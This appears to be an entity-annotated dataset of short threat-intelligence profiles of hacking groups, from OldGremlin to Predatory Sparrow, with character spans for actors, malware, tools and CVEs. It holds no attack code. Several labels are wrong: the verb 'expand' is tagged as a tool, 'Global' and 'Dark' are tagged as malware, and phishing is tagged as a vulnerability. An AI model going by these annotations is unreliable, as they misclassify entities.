+{"text": "OldGremlin is a Russian-speaking ransomware group that has been active for several years. They primarily target organizations in Russia, including banks, logistics, industrial, insurance, retail, and IT companies. OldGremlin is known for using phishing emails as an initial infection vector and has developed custom malware for both Windows and Linux systems. They have conducted multiple malicious email campaigns and demand large ransoms from their victims, with some reaching millions of dollars.", "spans": {"THREAT_ACTOR: OldGremlin": [[0, 10], [214, 224]], "SYSTEM: Windows": [[333, 340]], "SYSTEM: Linux": [[345, 350]], "VULNERABILITY: phishing": [[244, 252]]}, "info": {"source": "apt_reports", "name": "OldGremlin"}}
+{"text": "This threat actor targets the South Korean government, transportation, and energy sectors.", "spans": {}, "info": {"source": "apt_reports", "name": "OnionDog"}}
+{"text": "Konni is a threat actor associated with APT37, a North Korean cyber crime group. They have been active since 2012 and are known for their cyber-espionage activities. Konni has targeted various sectors, including education, government, business organizations, and the cryptocurrency industry. They have exploited vulnerabilities such as CVE-2023-38831 and have used malware like KonniRAT to gain control of victim hosts and steal important information.", "spans": {"CVE_ID: CVE-2023-38831": [[336, 350]], "THREAT_ACTOR: APT37": [[40, 45]], "MALWARE: Konni": [[0, 5], [166, 171]]}, "info": {"source": "apt_reports", "name": "Opal Sleet"}}
+{"text": "This threat actor targets critical infrastructure entities in the oil and gas sector, primarily in Ukraine. The threat actors deploy the BugDrop malware to remotely access the microphones in their targets' computers to eavesdrop on conversations.", "spans": {}, "info": {"source": "apt_reports", "name": "Operation BugDrop"}}
+{"text": "Group targeting Indian Army or related assets in India, as well as activists and civil society in Pakistan. Attribution to a Pakistani connection has been made by TrendMicro and others.", "spans": {}, "info": {"source": "apt_reports", "name": "Operation C-Major"}}
+{"text": "Operation Comando is a pure cybercrime campaign, possibly with Brazilian origin, with a concrete and persistent focus on the hospitality sector, which proves how a threat actor can be successful in pursuing its objectives while maintaining a cheap budget. The use of DDNS services, publicly available remote access tools, and having a minimum knowledge on software development (in this case VB.NET) has been enough for running a campaign lasting month, and potentially gathering credit card information and other possible data.", "spans": {"THREAT_ACTOR: Operation Comando": [[0, 17]]}, "info": {"source": "apt_reports", "name": "Operation Comando"}}
+{"text": "Operation DRBControl is a cyberespionage campaign targeting gambling companies in Southeast Asia, first identified in 2019. The operation involves the use of HyperBro malware and SysUpdate variants, with evidence of customer database and source code exfiltration. The threat actor has employed domain spoofing for command and control and has shown a consistent interest in the gambling industry. Trend Micro's analysis linked multiple tools and malware families to this campaign, indicating a sophisticated and evolving threat landscape.", "spans": {"THREAT_ACTOR: Operation DRBControl": [[0, 20]], "SYSTEM: Trend Micro": [[396, 407]], "MALWARE: HyperBro": [[158, 166]], "MALWARE: SysUpdate": [[179, 188]]}, "info": {"source": "apt_reports", "name": "Operation DRBControl"}}
+{"text": "Operation Emmental, also known as the Retefe gang, is a threat actor group that has been active since at least 2012. They primarily target customers of banks in countries such as Austria, Sweden, Switzerland, and Japan. The group has developed sophisticated malware, including a Mac alternative called Dok, to bypass two-factor authentication and hijack network traffic. They have also been observed using phishing emails to spread their malware. The group is believed to be Russian-speaking and has continuously improved their malicious codes over the years.", "spans": {"THREAT_ACTOR: Operation Emmental": [[0, 18]], "VULNERABILITY: phishing": [[406, 414]], "MALWARE: Retefe": [[38, 44]]}, "info": {"source": "apt_reports", "name": "Operation Emmental"}}
+{"text": "Operation ForumTroll is a sophisticated cyber espionage campaign discovered by Kaspersky in mid-March 2025. The attack exploited a zero-day vulnerability in Google Chrome, identified as CVE-2025-2783, which allowed attackers to bypass the browser's security features. Victims were infected by clicking on personalized phishing links in emails, allegedly from the organizers of the \"Primakov Readings\" forum, targeting media outlets, educational institutions, and government organizations in Russia. The goal of the attack appears to be espionage, and the campaign is believed to be the work of a state-sponsored APT group. Google quickly released an update to fix the vulnerability after being notified by Kaspersky.", "spans": {"CVE_ID: CVE-2025-2783": [[186, 199]], "THREAT_ACTOR: Operation ForumTroll": [[0, 20]], "SYSTEM: Chrome": [[164, 170]], "SYSTEM: Kaspersky": [[79, 88], [706, 715]], "ORGANIZATION: Google": [[157, 163], [623, 629]], "VULNERABILITY: phishing": [[318, 326]], "VULNERABILITY: zero-day": [[131, 139]]}, "info": {"source": "apt_reports", "name": "Operation ForumTroll"}}
+{"text": "Operation Ghoul is a profit-driven threat actor that targeted over 130 organizations in 30 countries, primarily in the industrial and engineering sectors. They employed high-quality social engineering techniques, such as spear-phishing emails disguised as payment advice from a UAE bank, to distribute malware. The group's main motivation is financial gain through the sale of stolen intellectual property and business intelligence, as well as attacks on banking accounts. Their attacks were effective, particularly against companies that were unprepared to detect them.", "spans": {"THREAT_ACTOR: Operation Ghoul": [[0, 15]], "VULNERABILITY: spear-phishing": [[221, 235]], "VULNERABILITY: phishing": [[227, 235]]}, "info": {"source": "apt_reports", "name": "Operation Ghoul"}}
+{"text": "This threat actor uses spear-phishing techniques to target parliaments, government ministries, academics, and media organizations, primarily in the Middle East, for the purpose of espionage.\nBased on our findings, we believe the attackers represent a previously unknown geopolitically motivated threat actor. The campaign started in 2017, with the attackers doing just enough to achieve their goals. They most likely have access to additional tools when needed and appear to have access to an elaborate database of contacts in sensitive organizations and personnel worldwide, especially of vulnerable and non-trained staff. The victim systems range from personal desktop or laptop systems to large servers with domain controller roles or similar. The nature of the targeted ministries varied, including those responsible for telecommunications, health, energy, justice, finance and so on.\nOperation Parliament appears to be another symptom of escalating tensions in the Middle East region. The attackers have taken great care to stay under the radar, imitating another attack group in the region. They have been particularly careful to verify victim devices before proceeding with the infection, safeguarding their command and control servers. The targeting seems to have slowed down since the beginning of 2018, probably winding down when the desired data or access was obtained. The targeting of specific victims is unlike previously seen behavior in regional campaigns by Gaza Cybergang or Desert Falcons and points to an elaborate information-gathering exercise that was carried out before the attacks (physical and/or digital).\nWith deception and false flags increasingly being employed by threat actors, attribution is a hard and complicated task that requires solid evidence, especially in complex regions such as the Middle East.", "spans": {"THREAT_ACTOR: Operation Parliament": [[889, 909]], "VULNERABILITY: spear-phishing": [[23, 37]], "VULNERABILITY: phishing": [[29, 37]]}, "info": {"source": "apt_reports", "name": "Operation Parliament"}}
+{"text": "What’s noteworthy is that according to the introduction on the compromised website of the polyclinic (http://www.p2f.ru), the institution was established in 1965 and it was founded by the Presidential Administration of Russia. The multidisciplinary outpatient institution mainly serves the civil servants of the highest executive, legislative, judicial authorities of the Russian Federation, as well as famous figures of science and art.\nSince it is the first detection of this APT attack by 360 Security on a global scale, we code-named it as “Operation Poison Needles”, considering that the target was a medical institution. Currently, the attribution of the attacker is still under investigation. However, the special background of the polyclinic and the sensitiveness of the group it served both indicate the attack is highly targeted. Simultaneously, the attack occurred at a very sensitive timing of the Kerch Strait Incident, so it also aroused the assumption on the political attribution of the attack.", "spans": {"URL: http://www.p2f.ru": [[102, 119]], "THREAT_ACTOR: Operation Poison Needles": [[545, 569]]}, "info": {"source": "apt_reports", "name": "Operation Poison Needles"}}
+{"text": "The threat actors compromised the update server of a remote support solutions provider to deliver a remote access tool called 9002 RAT to their targets of interest through the update process. They carried this out by first stealing the company’s certificate then using it to sign the malware. They also configured the update server to only deliver malicious files if the client is located in the range of IP addresses of their target organisations.", "spans": {"MALWARE: 9002 RAT": [[126, 134]]}, "info": {"source": "apt_reports", "name": "Operation Red Signature"}}
+{"text": "Newly discovered supply chain attack that leveraged ASUS Live Update software.\nThe goal of the attack was to surgically target an unknown pool of users, which were identified by their network adapters’ MAC addresses. To achieve this, the attackers had hardcoded a list of MAC addresses in the trojanized samples and this list was used to identify the actual intended targets of this massive operation. We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack. Of course, there might be other samples out there with different MAC addresses in their list.", "spans": {"VULNERABILITY: supply chain attack": [[17, 36]]}, "info": {"source": "apt_reports", "name": "Operation ShadowHammer"}}
+{"text": "Operation Shadow Force is a group of malware that is representative of Shadow Force and Wgdrop from 2013 to 2020, and is a group activity that attacks Korean companies and organizations. The group's first confirmed attack was in March 2013, but considering the date of malware creation, it is likely to have been active before 2012. Since the malware used mainly by them is Shadow Force, it was named Operation Shadow Force, and it has not been confirmed whether the attacker is associated with a known group.", "spans": {"THREAT_ACTOR: Operation Shadow Force": [[0, 22], [401, 423]]}, "info": {"source": "apt_reports", "name": "Operation Shadow Force"}}
+{"text": "The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries.\nOperation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.", "spans": {"THREAT_ACTOR: Operation Sharpshooter": [[241, 263], [570, 592]], "THREAT_ACTOR: Lazarus Group": [[471, 484], [627, 640]], "SYSTEM: McAfee": [[4, 10], [45, 51], [190, 196]], "MALWARE: Sharpshooter": [[251, 263], [580, 592]], "MALWARE: Global": [[198, 204]], "MALWARE: Rising Sun": [[358, 368], [426, 436]]}, "info": {"source": "apt_reports", "name": "Operation Sharpshooter"}}
+{"text": "In 2018, the Cybereason Nocturnus team identified an advanced, persistent attack targeting global telecommunications providers carried out by a threat actor using tools and techniques commonly associated with Chinese-affiliated threat actors, such as APT10.  This multi-wave attacks focused on obtaining data of specific, high-value targets and resulted in a complete takeover of the network.", "spans": {"THREAT_ACTOR: APT10": [[251, 256]], "ORGANIZATION: Cybereason": [[13, 23]]}, "info": {"source": "apt_reports", "name": "Operation Soft Cell"}}
+{"text": "Operation Triangulation is an ongoing APT campaign targeting iOS devices with zero-click iMessage exploits. The threat actor behind the campaign has been active since at least 2019 and continues to operate. The attack chain involves the delivery of a malicious iMessage attachment that launches a series of exploits, ultimately leading to the deployment of the TriangleDB implant. Kaspersky researchers have discovered and reported multiple vulnerabilities used in the campaign, with patches released by Apple.", "spans": {"THREAT_ACTOR: Operation Triangulation": [[0, 23]], "SYSTEM: Kaspersky": [[381, 390]], "SYSTEM: iOS": [[61, 64]], "ORGANIZATION: Apple": [[504, 509]]}, "info": {"source": "apt_reports", "name": "Operation Triangulation"}}
+{"text": "We are calling these attacks Operation WizardOpium. So far, we have been unable to establish a definitive link with any known threat actors. There are certain very weak code similarities with Lazarus attacks, although these could very well be a false flag. The profile of the targeted website is more in line with earlier DarkHotel attacks that have recently deployed similar false flag attacks.", "spans": {"THREAT_ACTOR: Operation WizardOpium": [[29, 50]], "THREAT_ACTOR: DarkHotel": [[322, 331]]}, "info": {"source": "apt_reports", "name": "Operation WizardOpium"}}
+{"text": "Operation Wocao (我操, “Wǒ cāo”, used as “shit” or “damn”) is the name that Fox-IT uses to describe the hacking activities of a Chinese based hacking group.\nThis report details the profile of a publicly underreported threat actor that Fox-IT has dealt with over the past two years. Fox-IT assesses with high confidence that the actor is a Chinese group and that they are likely working to support the interests of the Chinese government and are tasked with obtaining information for espionage purposes. With medium confidence, Fox-IT assesses that the tools, techniques and procedures are those of the actor referred to as APT20 by industry partners. We have identified victims of this actor in more than 10 countries, in government entities, managed service providers and across a wide variety of industries, including Energy, Health Care and High-Tech.", "spans": {"THREAT_ACTOR: Operation Wocao": [[0, 15]], "THREAT_ACTOR: APT20": [[621, 626]], "ORGANIZATION: Fox-IT": [[74, 80], [233, 239], [280, 286], [525, 531]]}, "info": {"source": "apt_reports", "name": "Operation Wocao"}}
+{"text": "Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia.\nFirst identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage.", "spans": {"THREAT_ACTOR: Orangeworm": [[58, 68], [300, 310]], "SYSTEM: Symantec": [[0, 8]], "MALWARE: Kwampirs": [[135, 143]]}, "info": {"source": "apt_reports", "name": "Orangeworm"}}
+{"text": "OurMine is known for celebrity internet accounts, often causing cyber vandalism, to advertise their commercial services.\n(Trend Micro) In light of the recent report detailing its willingness to pay US$250,000 in exchange for the 1.5 terabytes’ worth of data swiped by hackers from its servers, HBO finds itself dealing with yet another security breach.\nKnown for hijacking prominent social media accounts, the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network. These include accounts for HBO shows, such as “Game of Thrones,” “Girls,” and “Ballers.”\nThis is not the first time that OurMine has claimed responsibility for hacking high- profile social networking accounts. Last year, the group victimized Marvel, The New York Times, and even the heads of some of the biggest technology companies in the world. Mark Zuckerberg, Jack Dorsey, Sundar Pichai, and Daniel Ek — the CEOs of Facebook, Twitter, Google and Spotify, respectively — have also fallen victim to the hackers, dispelling the notion that a career in software and technology exempts one from being compromised.", "spans": {"THREAT_ACTOR: OurMine": [[0, 7], [446, 453], [668, 675]], "SYSTEM: Trend Micro": [[122, 133]], "ORGANIZATION: Facebook": [[497, 505], [967, 975]], "ORGANIZATION: Google": [[986, 992]]}, "info": {"source": "apt_reports", "name": "OurMine"}}
+{"text": "On May 7, 2019, Mayor Bernard “Jack” Young confirmed that the network for the U.S. City of Baltimore (CoB) was infected with ransomware, which was announced via Twitter1. This infection was later confirmed to be conducted by OUTLAW SPIDER, which is the actor behind the RobbinHood ransomware. The actor demanded to be paid 3 BTC (approximately $17,600 USD at the time) per infected system, or 13 BTC (approximately $76,500 USD at the time) for all infected systems to recover the city’s files.", "spans": {"THREAT_ACTOR: OUTLAW SPIDER": [[225, 238]], "MALWARE: RobbinHood": [[270, 280]]}, "info": {"source": "apt_reports", "name": "OUTLAW SPIDER"}}
+{"text": "OverFlame is a hacktivist group known for executing DDoS attacks and website defacements, primarily targeting government institutions and corporations in Europe and North America. The group has been involved in coordinated attacks alongside other pro-Russian threat actors, such as NoName057and the People’s Cyber Army, often motivated by anti-government and anti-corporate sentiments. OverFlame operates through underground forums and encrypted messaging platforms to coordinate attacks and recruit members. Their activities have included targeting financial services, political parties, and educational institutions, demonstrating a focus on disrupting critical infrastructure.", "spans": {"THREAT_ACTOR: OverFlame": [[0, 9], [386, 395]], "VULNERABILITY: DDoS": [[52, 56]]}, "info": {"source": "apt_reports", "name": "OverFlame"}}
+{"text": "OVERLORD SPIDER, aka The Dark Overlord. Similar to ransomware operators today, OVERLORD SPIDER likely purchased RDP access to compromised servers on underground forums in order to exfiltrate data from corporate networks. The actor was known to attempt to “sell back” the data to the respective victims, threatening to sell the data to interested parties should the victim refuse to pay. There was at least one identified instance of OVERLORD SPIDER successfully selling victim data on an underground market.", "spans": {"THREAT_ACTOR: OVERLORD SPIDER": [[0, 15], [79, 94], [433, 448]], "TOOL: RDP": [[112, 115]], "MALWARE: Dark": [[25, 29]]}, "info": {"source": "apt_reports", "name": "OVERLORD SPIDER"}}
+{"text": "Antd is a miner found in the wild on September 18, 2018. Recently we discovered that the authors from Antd are actively delivering newer campaigns deploying a broad number of components, most of them completely undetected and operating within compromised third party Linux servers. Furthermore, we have observed that some of the techniques implemented by this group are unconventional, and there is an element of sophistication to them. We believe the authors behind this malware are from Chinese origin. We have labeled the undetected Linux.Antd variants, Linux.GreedyAntd and classified the threat actor as Pacha Group.", "spans": {"THREAT_ACTOR: Pacha Group": [[609, 620]], "SYSTEM: Linux": [[267, 272], [536, 541], [557, 562]]}, "info": {"source": "apt_reports", "name": "Pacha Group"}}
+{"text": "A threat group that has been active for at least seven years has used malware, phishing and disinformation tactics to target activists, journalists, politicians and public figures in various Latin American countries.  The threat actor, dubbed Packrat based on its preference for remote access Trojans (RATs) and because it has used the same infrastructure for several years, has been analyzed by Citizen Lab researchers John Scott-Railton, Morgan Marquis-Boire, and Claudio Guarnieri, and Cyphort researcher Marion Marschalek, best known for her extensive analysis of state-sponsored threats.", "spans": {"THREAT_ACTOR: Packrat": [[243, 250]], "ORGANIZATION: Citizen Lab": [[396, 407]], "VULNERABILITY: phishing": [[79, 87]]}, "info": {"source": "apt_reports", "name": "Packrat"}}
+{"text": "One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload.\n PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group’s goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware.\nThe group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment.\nPARINACOTA’s attacks typically brute forces their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors.\nThe group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used. Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.", "spans": {"THREAT_ACTOR: PARINACOTA": [[147, 157], [1047, 1057], [1929, 1939]], "TOOL: expand": [[1337, 1343]], "TOOL: RDP": [[1149, 1152], [1679, 1682]], "TOOL: Remote Desktop Protocol": [[1124, 1147]], "SYSTEM: Active Directory": [[1533, 1549]], "VULNERABILITY: brute-force": [[1252, 1263]], "VULNERABILITY: brute force": [[1683, 1694]], "MALWARE: SamSam": [[1759, 1765]], "MALWARE: RobbinHood": [[1859, 1869]], "MALWARE: Samas": [[1738, 1743]], "MALWARE: Wadhrama": [[125, 133], [648, 656]], "MALWARE: LockerGoga": [[1835, 1845]]}, "info": {"source": "apt_reports", "name": "PARINACOTA"}}
+{"text": "The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates.  Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a blog post. His post provides a good introduction to the group and covers some of the older infrastructure, stolen code-signing certificate reuse, and other connections associated with the PassCV malware. There are several clues alluding to the possibility that multiple groups may be utilizing the same stolen signing certificates, but at this time SPEAR believes the current attacks are more likely being perpetrated by a single group employing multiple publicly available Remote Administration Tools (RATs).  The PassCV group has been operating with continued success and has already started to expand their malware repertoire into different off-the-shelf RATs and custom code. SPEAR identified eighteen previously undisclosed stolen Authenticode certificates. These certificates were originally issued to companies and individuals scattered across China, Taiwan, Korea, Europe, the United States and Russia.  In this post we expand the usage of the term ‘PassCV’ to encompass the malware mentioned in the Blue Coat Systems report, as well as the APT group behind the larger C2 infrastructure and stolen Authenticode certificates. We’d like to share some of our findings as they pertain to the stolen certificates, command and control infrastructure, and some of the newer custom RATs they’ve begun development on.", "spans": {"THREAT_ACTOR: PassCV": [[4, 10], [218, 224], [418, 424], [745, 751], [1188, 1194]], "TOOL: expand": [[827, 833], [1158, 1164]]}, "info": {"source": "apt_reports", "name": "PassCV"}}
+{"text": "PayTool is a threat actor that operates a phishing ecosystem focused on traffic violation and fine payment scams targeting Canadians through SMS-based social engineering. Their campaigns impersonate Canadian government traffic enforcement services, utilizing a federal-style \"Traffic Ticket Search Portal\" model that aggregates provincial fine payment portals. PayTool maintains a pool of generic domains to ensure continuity when specific provincial domains are blacklisted, exploiting brand trust with disposable domains. Recommendations include implementing DNS and web gateway controls to block newly registered domains and known PayTool-related IP ranges.", "spans": {"THREAT_ACTOR: PayTool": [[0, 7], [361, 368], [634, 641]], "VULNERABILITY: phishing": [[42, 50]]}, "info": {"source": "apt_reports", "name": "PayTool"}}
+{"text": "Pearl Sleet is a nation state activity group based in North Korea that has been active since at least 2012. They primarily target defectors from North Korea, media organizations in carrying out their cyber espionage activities.", "spans": {"THREAT_ACTOR: Pearl Sleet": [[0, 11]]}, "info": {"source": "apt_reports", "name": "Pearl Sleet"}}
+{"text": "PerSwaysion is a threat actor known for conducting phishing campaigns targeting high-level executives. They have been active since at least August 2019 and are believed to be based in Vietnam. PerSwaysion has recently updated their techniques, using more direct phishing methods and leveraging Microsoft 365 to steal credentials.", "spans": {"THREAT_ACTOR: PerSwaysion": [[0, 11], [193, 204]], "SYSTEM: Microsoft 365": [[294, 307]], "ORGANIZATION: Microsoft": [[294, 303]], "VULNERABILITY: phishing": [[51, 59], [262, 270]]}, "info": {"source": "apt_reports", "name": "PerSwaysion"}}
+{"text": "PhantomControl is a sophisticated threat actor that emerged in November 2023. They utilize phishing emails as their initial infection vector and employ a ScreenConnect client to establish a connection for their malicious activities. Their arsenal includes a VBS script that hides its true intentions and reveals a complex mechanism involving PowerShell scripts and image-based data retrieval. PhantomControl has been associated with the Blind Eagle threat actors, showcasing their versatility and reach.", "spans": {"THREAT_ACTOR: PhantomControl": [[0, 14], [393, 407]], "TOOL: ScreenConnect": [[154, 167]], "TOOL: PowerShell": [[342, 352]], "VULNERABILITY: phishing": [[91, 99]]}, "info": {"source": "apt_reports", "name": "PhantomControl"}}
+{"text": "Phlox Tempest is a threat actor responsible for a large-scale click fraud campaign targeting users through YouTube comments and malicious ads. They use ChromeLoader to infect victims' computers with malware, often delivered as ISO image files that victims are tricked into downloading. The attackers aim to profit from clicks generated by malicious browser extensions or node-WebKit installed on the victim's device. Microsoft and other cybersecurity organizations have issued warnings about this ongoing and prevalent campaign.", "spans": {"THREAT_ACTOR: Phlox Tempest": [[0, 13]], "ORGANIZATION: Microsoft": [[417, 426]], "MALWARE: ChromeLoader": [[152, 164]]}, "info": {"source": "apt_reports", "name": "Phlox Tempest"}}
+{"text": "Prying Libra, also known as Pickaxe, is a threat actor active since at least August 2017, and continues to remain active to this day. The adversary's goal is to install and maintain a popular cryptocurrency miner on the victim's machine. The miner in question is an open-source tool named XMRig that generates the Monero cryptocurrency. Malware is delivered via downloads through the popular Adfly advertisement platform. Users are often mislead into clicking on a malicious advertisement that results in the payload being delivered to the victim. Once installed, the malware leverages VBS scripts and redirection services, such as bitly, to ultimately download and execute XMRig. Over 15 million confirmed victims have been discovered to be infected in recent campaigns, with actual numbers likely to be between 30-45 million victims. The victims are found across the globe, with high concentrations in Thailand, Vietnam, Egypt, Indonesia, and Turkey.", "spans": {"THREAT_ACTOR: Pickaxe": [[28, 35]]}, "info": {"source": "apt_reports", "name": "Pickaxe"}}
+{"text": "First observed in January 2018, GandCrab ransomware quickly began to proliferate and receive regular updates from its developer, PINCHY SPIDER, which over the course of the year established a RaaS operation with a dedicated set of affiliates.\nCrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes PINCHY SPIDER and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as “big game hunting.”\n PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but PINCHY SPIDER is also willing to negotiate up to a 70-30 split for “sophisticated” customers.", "spans": {"THREAT_ACTOR: PINCHY SPIDER": [[129, 142], [290, 303], [534, 547], [712, 725], [864, 877], [1103, 1116]], "ORGANIZATION: CrowdStrike": [[243, 254]]}, "info": {"source": "apt_reports", "name": "PINCHY SPIDER"}}
+{"text": "Agonizing Serpens is an Iranian-linked APT group that has been active since 2020. They are known for their destructive wiper and fake-ransomware attacks, primarily targeting Israeli organizations in the education and technology sectors. The group has strong connections to Iran's Ministry of Intelligence and Security and has been observed using various tools and techniques to bypass security measures. They aim to steal sensitive information, including PII and intellectual property, and inflict damage by wiping endpoints.", "spans": {}, "info": {"source": "apt_reports", "name": "Pink Sandstorm"}}
+{"text": "PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.", "spans": {"THREAT_ACTOR: PLATINUM": [[0, 8], [506, 514]], "VULNERABILITY: phishing": [[859, 867], [877, 885]], "VULNERABILITY: zero-day": [[964, 972]], "VULNERABILITY: spear phishing": [[853, 867]]}, "info": {"source": "apt_reports", "name": "PLATINUM"}}
+{"text": "PlushDaemon is a China-aligned APT group that has conducted cyberespionage operations against targets in China, Taiwan, Hong Kong, South Korea, the United States, and New Zealand. They executed a supply chain attack on the South Korean VPN provider IPany, compromising its installer to deploy the SlowStepper backdoor, which features a toolkit of over 30 components. PlushDaemon primarily gains initial access by hijacking legitimate updates of Chinese applications and has also exploited vulnerabilities in legitimate web servers. Additionally, they have utilized the Visual Studio command line utility regcap.exe to side-load a malicious DLL named lregdll.dll.", "spans": {"THREAT_ACTOR: PlushDaemon": [[0, 11], [367, 378]], "SYSTEM: VPN": [[236, 239]], "VULNERABILITY: supply chain attack": [[196, 215]], "MALWARE: SlowStepper": [[297, 308]]}, "info": {"source": "apt_reports", "name": "PlushDaemon"}}
+{"text": "PoisonSeed is a threat actor employing an MFA-resistant phishing kit to acquire credentials from individuals and organizations, primarily targeting email infrastructure for cryptocurrency-related spam. They utilize spear-phishing emails with malicious links, automate bulk downloading of email lists, and capture authentication cookies to bypass MFA. PoisonSeed has been linked to campaigns that exploit cross-device sign-in features and employ tactics such as cryptocurrency seed phrase poisoning. Their infrastructure includes domains registered through NICENIC and hosted on Cloudflare, with a focus on phishing CRM and bulk email provider credentials.", "spans": {"THREAT_ACTOR: PoisonSeed": [[0, 10], [351, 361]], "ORGANIZATION: Cloudflare": [[578, 588]], "VULNERABILITY: spear-phishing": [[215, 229]], "VULNERABILITY: phishing": [[56, 64], [221, 229], [606, 614]]}, "info": {"source": "apt_reports", "name": "PoisonSeed"}}
+{"text": "Between November 2018 and May 2019, senior members of Tibetan groups received malicious links in individually tailored WhatsApp text exchanges with operators posing as NGO workers, journalists, and other fake personas. The links led to code designed to exploit web browser vulnerabilities to install spyware on iOS and Android devices, and in some cases to OAuth phishing pages. This campaign was carried out by what appears to be a single operator that we call POISON CARP.", "spans": {"THREAT_ACTOR: POISON CARP": [[462, 473]], "SYSTEM: iOS": [[311, 314]], "SYSTEM: WhatsApp": [[119, 127]], "SYSTEM: Android": [[319, 326]], "VULNERABILITY: phishing": [[363, 371]]}, "info": {"source": "apt_reports", "name": "POISON CARP"}}
+{"text": "Microsoft successfully detected and disabled attack activity abusing OneDrive by a previously undocumented Lebanon-based activity group Microsoft Threat Intelligence Center (MSTIC) tracks as POLONIUM.", "spans": {"THREAT_ACTOR: POLONIUM": [[191, 199]], "ORGANIZATION: Microsoft": [[0, 9], [136, 145]]}, "info": {"source": "apt_reports", "name": "POLONIUM"}}
+{"text": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.", "spans": {"THREAT_ACTOR: Poseidon Group": [[0, 14], [216, 230]], "MALWARE: Poseidon": [[0, 8], [216, 224]]}, "info": {"source": "apt_reports", "name": "Poseidon Group"}}
+{"text": "Malware developers have started to use the zero-day exploit for Task Scheduler component in Windows, two days after proof-of-concept code for the vulnerability appeared online.\n\nA security researcher who uses the online name SandboxEscaper on August 27 released the source code for exploiting a security bug in the Advanced Local Procedure Call (ALPC) interface used by Windows Task Scheduler.\n\nMore specifically, the problem is with the SchRpcSetSecurity API function, which fails to properly check user's permissions, allowing write privileges on files in C:\\Windows\\Task.\n\nThe vulnerability affects Windows versions 7 through 10 and can be used by an attacker to escalate their privileges to all-access SYSTEM account level.\n\nA couple of days after the exploit code became available (source and binary), malware researchers at ESET noticed its use in active malicious campaigns from a threat actor they call PowerPool, because of their tendency to use tools mostly written in PowerShell for lateral movement.\n\nThe group appears to have a small number of victims in the following countries: Chile, Germany, India, the Philippines, Poland, Russia, the United Kingdom, the United States, and Ukraine.\n\nThe researchers say that PowerPool developers did not use the binary version of the exploit, deciding instead to make some subtle changes to the source code before recompiling it.", "spans": {"FILEPATH: C:\\Windows\\Task.": [[558, 574]], "THREAT_ACTOR: PowerPool": [[911, 920], [1227, 1236]], "TOOL: PowerShell": [[979, 989]], "SYSTEM: ESET": [[830, 834]], "SYSTEM: Windows": [[92, 99], [370, 377], [561, 568], [602, 609]], "VULNERABILITY: zero-day": [[43, 51]]}, "info": {"source": "apt_reports", "name": "PowerPool"}}
+{"text": "A self-proclaimed hacktivist group that carried out attacks against Iranian railway systems and against Iranian steel plants.", "spans": {}, "info": {"source": "apt_reports", "name": "Predatory Sparrow"}}
